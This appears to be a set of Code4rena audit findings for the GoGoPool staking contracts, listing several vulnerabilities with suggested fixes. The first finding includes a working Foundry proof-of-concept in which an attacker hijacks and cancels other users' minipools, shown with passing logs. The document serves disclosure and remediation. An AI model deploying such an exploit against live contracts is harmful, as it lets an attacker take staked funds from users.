GoGoPool contest - imare's results

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L225 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L279

Vulnerability details

A malicious user can abuse createMinipool function to become the new minipool owner. He can do this by waiting for a minipool to become withdrawable and then backrun the transaction by making himself the new owner of the minipool and then call cancelMinipool to retrieve the funds needed to become the owner in the first place.

The honest user if is not fast enough will lose the initial investment plus any reward if available.

Impact

Honest validators can loose the minipool ownership and any funds associated with it.

Proof of Concept

For the attack to succeed a malicious user must first create a minipool on their own to bypass this control line in createMinipool

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L225

that can prevent the canceling of the desired minipool

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L279

By calling createMinipool on an existing minipool the attacker can override the original owner.

It also has to wait for the minipool to become withdrawable by listening to the event MinipoolStatusChanged(nodeID, MinipoolStatus.Withdrawable);. This is because the targeted minipool has to be in the withdrawable state for createMinipool call to succeed.

The following POC can be added to MinipoolManager.t.sol unit test file

The test will show that a malicious validator can cancel out any minipool he targets for the only cost of gas fees.

event MinipoolStatusChanged(address indexed nodeID, MinipoolStatus indexed status);
error OnlyOwner();
	function testRecordStakingEnd_POC() public {
		// testing parameters
		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;
		uint128 ggpStakeAmt = 200 ether;

		// malicious users creates a minipool ..long before the honest user/s
		address attacker = getActorWithTokens("attacker", MAX_AMT, MAX_AMT);

		vm.startPrank(attacker);
		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(ggpStakeAmt);
		MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration);
		vm.stopPrank();
		skip(6 days); // skip to meet the wait period requirement for any later minipool 

		// honest user creates minipool
		vm.startPrank(nodeOp);
		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(ggpStakeAmt);
		vm.stopPrank();

		address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
		vm.prank(liqStaker1);
		ggAVAX.depositAVAX{value: MAX_AMT}();

		for (uint i; i < 10; i++) {

			// honest user creates minipool
			vm.startPrank(nodeOp);
			
			address nodeID = randAddress();
			uint256 delegationFee = 0.02 ether;
			vm.expectEmit(true,true,false,false);
			emit MinipoolStatusChanged(nodeID, MinipoolStatus.Prelaunch); 
			minipoolMgr.createMinipool{value: depositAmt}(nodeID, duration, delegationFee, avaxAssignmentRequest);
		
			vm.stopPrank();

			// the minipool reaches its end
			bytes32 txID = keccak256("txid");
			vm.startPrank(address(rialto));
			minipoolMgr.claimAndInitiateStaking(nodeID);
			minipoolMgr.recordStakingStart(nodeID, txID, block.timestamp);
			// vm.expectRevert(MinipoolManager.InvalidEndTime.selector);
			skip(1 days);
			minipoolMgr.recordStakingEnd{value: validationAmt}(nodeID, block.timestamp, 0 ether);
			vm.stopPrank();

			// attacker backruns the end or error state of a minipool take ownership and cancels it.. the user loses all its funds.. the attacker losses none
			vm.startPrank(attacker);
			// just for test ... the first attempt fails because is not the owner
			vm.expectRevert(OnlyOwner.selector);
			minipoolMgr.cancelMinipool(nodeID);

			console.log("i",i);
			console.log("Balance attacker before %d", attacker.balance);
			{
				MinipoolManager.Minipool memory mp = minipoolMgr.getMinipoolByNodeID(nodeID);
				console.log("Minipool owner before %s", mp.owner);
			}
			minipoolMgr.createMinipool{value: depositAmt}(nodeID, duration, delegationFee, avaxAssignmentRequest);
			minipoolMgr.cancelMinipool(nodeID);
			{
				MinipoolManager.Minipool memory mp = minipoolMgr.getMinipoolByNodeID(nodeID);
				console.log("Minipool owner after  %s", mp.owner);
				assertEq(mp.owner, attacker);
			}
			console.log("Balance attacker after  %d", attacker.balance); // attacker gets its funds back
			vm.stopPrank();
		}

	}

By running the test forge test -m testRecordStakingEnd_POC -vv we can see that the malicious user by creating only one minipool he can cancel out other minipools that not belong to him and as already stated the honest users will lose their initial investment and the ability to use the minipool in the future.

[PASS] testRecordStakingEnd_POC() (gas: 9302534)
Logs:
  i 0
  Balance attacker before 999000000000000000000000
  Minipool owner before 0x0000000000000000000000000000000000050001
  Minipool owner after  0x0000000000000000000000000000000000050002
  Balance attacker after  999000000000000000000000
  i 1
  Balance attacker before 999000000000000000000000
  Minipool owner before 0x0000000000000000000000000000000000050001
  Minipool owner after  0x0000000000000000000000000000000000050002
  Balance attacker after  999000000000000000000000
  i 2
  Balance attacker before 999000000000000000000000
  Minipool owner before 0x0000000000000000000000000000000000050001
  Minipool owner after  0x0000000000000000000000000000000000050002
  Balance attacker after  999000000000000000000000
  i 3
  ...

Tools Used

forge of foundry

Recommended Mitigation Steps

Check for the original owner inside createMinipool call to prevent undesired overrides

    int256 minipoolIndex = getIndexOf(nodeID);
    if (minipoolIndex != -1) {
+       onlyOwner(minipoolIndex);        
        requireValidStateTransition(minipoolIndex, MinipoolStatus.Prelaunch);
        resetMinipoolData(minipoolIndex);
        // Also reset initialStartTime as we are starting a whole new validation
        setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".initialStartTime")), 0);

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L243 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L244 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L256-L263

Vulnerability details

Calling createMinipool on the same nodeID is possible and will result in losing all minipool funds if this funds are not previously been withdrawn from the minipool.

The user could call createMinipool a second time for the same nodeID for example in a case when he/she wants to change creation parameters like duration or delegationFee.

Impact

Funds or reward can be lost if not previously withdrawn from minipool.

Proof of Concept

The only validation before the minipool and its funs are overwritten is the check for the transition to Prelaunch state

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L243

This can happen any time the minipool is in Withdrawable or Finished state.

When createMinipool is called a second time the pool variable are reset

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L244

and also amount of the inital funds is lost from accounting

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L256-L263

Tools Used

Manual review

Recommended Mitigation Steps

Add a check if there are funds that can be withdrawn before reseting the pool variables and funds.

if (minipoolIndex != -1) {
    requireValidStateTransition(minipoolIndex, MinipoolStatus.Prelaunch);
    resetMinipoolData(minipoolIndex);
    // Also reset initialStartTime as we are starting a whole new validation
+    if (getUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxNodeOpInitialAmt"))) > 0) {
+        revert WithdrawFirst();
+    }
    setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".initialStartTime")), 0);
} 

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/Staking.sol#L379-L382

Vulnerability details

Multisig will recreate the pool every two weeks for the duration of the duration period. If minipool duration is set too high slashing will fail.

Impact

In createMinipool the duration parameter is not validated for maximal value so when the pool ends with recordStakingEnd call if duration is more than a year the call will fail on possible user slashing.

Proof of Concept

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/Staking.sol#L379-L382

By changing the test named testRecordStakingEndWithSlash to have a duration of at least 731 days the test will fail on slashing

    │   ├─ [6811] Staking::slashGGP(nodeOp: [0x0000000000000000000000000000000000050001], 200273972602739726027) 
    │   │   ├─ [537] Storage::getAddress(0x817c4b3de237861e6f469d75ed1cda82d8bdda3182404c90d5f1beeef56e7190) [staticcall]
    │   │   │   └─ ← MinipoolManager: [0xdC0505A4c93647CD736E4bE24FBb171472bBFb10]
    │   │   ├─ [537] Storage::getAddress(0xcbd1c5b0c4d42cdfd729ee182f5c8992c7d923b770e4f43f682303afa9a8eb08) [staticcall]
    │   │   │   └─ ← Vault: [0xf5a2fE45F4f1308502b1C136b9EF8af136141382]
    │   │   ├─ [549] Storage::getUint(0xc8d6547c79d121d9c9e35f4887cbaef36c2766533faf1b1ef5b0898f0e91a456) [staticcall]
    │   │   │   └─ ← 1
    │   │   ├─ [1016] Storage::subUint(0x1328d42ca0068ee293c0b73399873fd8b26ccb19d4419e75957733832b51665a, 200273972602739726027) 
    │   │   │   └─ ← "Arithmetic over/underflow"

Tools Used

forge of foundry

Recommended Mitigation Steps

Validate the duration parameter when creating a minipool.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/ProtocolDAO.sol#L209-L217

Vulnerability details

The contracts used in GoGoPool protocol are using fixed names when interacting with each other. For example:

Vault vault = Vault(getContractAddress("Vault"));
Staking staking = Staking(getContractAddress("Staking"));
RewardsPool rewardsPool = RewardsPool(getContractAddress("RewardsPool"));
TokenGGP ggp = TokenGGP(getContractAddress("TokenGGP"));
...

The function upgradeExistingContract if used to upgrade an existing contract name with a new address will result in getContractAddress function to return zero address for the upgraded contract address.

If used with a new name then getContractAddress will return the supplied address but as already stated the protocol uses fixed names.

Impact

If an upgrade like this happen funds can be lost for example:

When distributing rewards

TokenGGP ggp = TokenGGP(getContractAddress("TokenGGP"));
Vault vault = Vault(getContractAddress("Vault"));

if (daoClaimContractAllotment > 0) {
    emit ProtocolDAORewardsTransfered(daoClaimContractAllotment);
    vault.transferToken("ClaimProtocolDAO", ggp, daoClaimContractAllotment);
}

funds can be lost if the upgrade happened for "Vault" when vault.transferToken("ClaimProtocolDAO", ggp, daoClaimContractAllotment); is called the function will not revert but also the token amount will be lost

Or for example in claimAndRestake function:

if (claimAmt > 0) {
    vault.withdrawToken(msg.sender, ggp, claimAmt);
}

again vault.withdrawToken(msg.sender, ggp, claimAmt); will not work as expected.

Proof of Concept

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/ProtocolDAO.sol#L209-L217

Add the following test to ProtocolDAO.t.sol unit test file:

function testUpgradeExistingContract_POC1() public {
    address addr = randAddress();

    address existingAddr = randAddress();
    string memory existingName = "existingName";

    bytes32 testKey = "testKey";

    vm.prank(guardian);
    dao.registerContract(existingAddr, existingName);
    assertEq(store.getBool(keccak256(abi.encodePacked("contract.exists", existingAddr))), true);
    assertEq(store.getAddress(keccak256(abi.encodePacked("contract.address", existingName))), existingAddr);
    assertEq(store.getString(keccak256(abi.encodePacked("contract.name", existingAddr))), existingName);

    vm.prank(guardian);
    dao.upgradeExistingContract(addr, existingName, existingAddr);
    assertEq(store.getBool(keccak256(abi.encodePacked("contract.exists", addr))), true);
    assertEq(store.getAddress(keccak256(abi.encodePacked("contract.address", existingName))), addr);
}

run with forge test -m testUpgradeExistingContract_POC1 the test will fail when comapring the expected address with the real return after upgrading an existing contract name:

[FAIL. Reason: Assertion failed.] testUpgradeExistingContract_POC1() (gas: 159000)
Logs:
  Error: a == b not satisfied [address]
    Expected: 0x934eb1f9d0f59695050f761dc64e443e5030a569
      Actual: 0x0000000000000000000000000000000000000000

Tools Used

Manual review

Recommended Mitigation Steps

Invert the order of operation as stated in the function comment header

/// @notice Upgrade a contract by unregistering the existing address, and registring a new address and name
function upgradeExistingContract(
    address newAddr,
    string memory newName,
    address existingAddr
) external onlyGuardian {
-	registerContract(newAddr, newName);
-	unregisterContract(existingAddr);
+   unregisterContract(existingAddr);
+   registerContract(newAddr, newName);
	}

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L313-L319

Vulnerability details

The function to disable multisig account is designed to prevent multisig account to complete minipool validations. But in reality disabling a multising wont prevent it to continue work on previously assigned minipools.

In case of a malicious multisig disabling it will not prevent such account to steal all the minipool founds by calling claimAndInitiateStaking function.

Impact

Disabling a multisig account will not prevent it from working with assigned pools.

In case such account is malicious it can steal minipool pool funds.

Proof of Concept

A malicious multisig account can call canClaimAndInitiateStaking

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L313-L319

Disabling it will not prevent future minipool interactions with already assigned minipool addresses.

Tools Used

Manual review

Recommended Mitigation Steps

If a multisig is disabled don't allow any further interaction with minipools

For example create a function or modifier like this one:

function onlyEnabledMultisig(address addr) private view {
    int256 multisigIndex = getIndexOf(addr);
        
    if (multisigIndex == -1) {
        revert MultisigNotFound();
    }

    bool isEnabled = getBool(keccak256(abi.encodePacked("multisig.item", multisigIndex, ".enabled");

    if (isEnabled == false) {
        revert MultisigDisabled();
    }

}

and provide the ability for a minipool owners that are stuck with such multisig to have the multisig address reassigned for example

function reassignMultisig(address nodeID) public {

    address multisig = requireNextActiveMultisig();
    int256 index = requireValidMinipool(nodeID);
    
    onlyOwner(index);

    address prevMultisig = getAddress(keccak256(abi.encodePacked("minipool.item", index, ".multisigAddr"));

    // TODO: new function like onlyEnabledMultisig but returns bool
    if (isDisabledMultisig(prevMultisig) == false) {
        revert MultisigIsActive(); // event to signal that current multisig is not disabled
    }

    // only change to new mulstig if the original one was disabled
    setAddress(keccak256(abi.encodePacked("minipool.item", index, ".multisigAddr")), multisig);

    emit MiniPoolMultisigReassigned(prevMultisig, multisig);
}

And finally multisig accounts will need to listen to this MiniPoolMultisigReassigned emited event to "attache" themselves to the minipool.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MultisigManager.sol#L80-L91

Vulnerability details

For every created minipool a multisig address is set to continue validator interactions.

Every minipool multisig address get assigned by calling requireNextActiveMultisig.

This function always return the first enabled multisig address.

In case the specific address is disabled all created minipools will be stuck with this address which increase the probability of also funds being stuck.

Impact

Probability of funds being stuck increases if requireNextActiveMultisig always return the same address.

Proof of Concept

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MultisigManager.sol#L80-L91

Tools Used

Manual review

Recommended Mitigation Steps

Use a strategy like round robin to assign next active multisig to minipool

Something like this :

private uint nextMultisigAddressIdx;

function requireNextActiveMultisig() external view returns (address) {
    uint256 total = getUint(keccak256("multisig.count"));
    address addr;
    bool enabled;

    uint256 i = nextMultisigAddressIdx; // cache last used
    if (nextMultisigAddressIdx==total) {
        i = 0;
    }

    for (; i < total; i++) {
        (addr, enabled) = getMultisig(i);
        if (enabled) {
            nextMultisigAddressIdx = i+1;
            return addr;
        }
    }
    
    revert NoEnabledMultisigFound();
}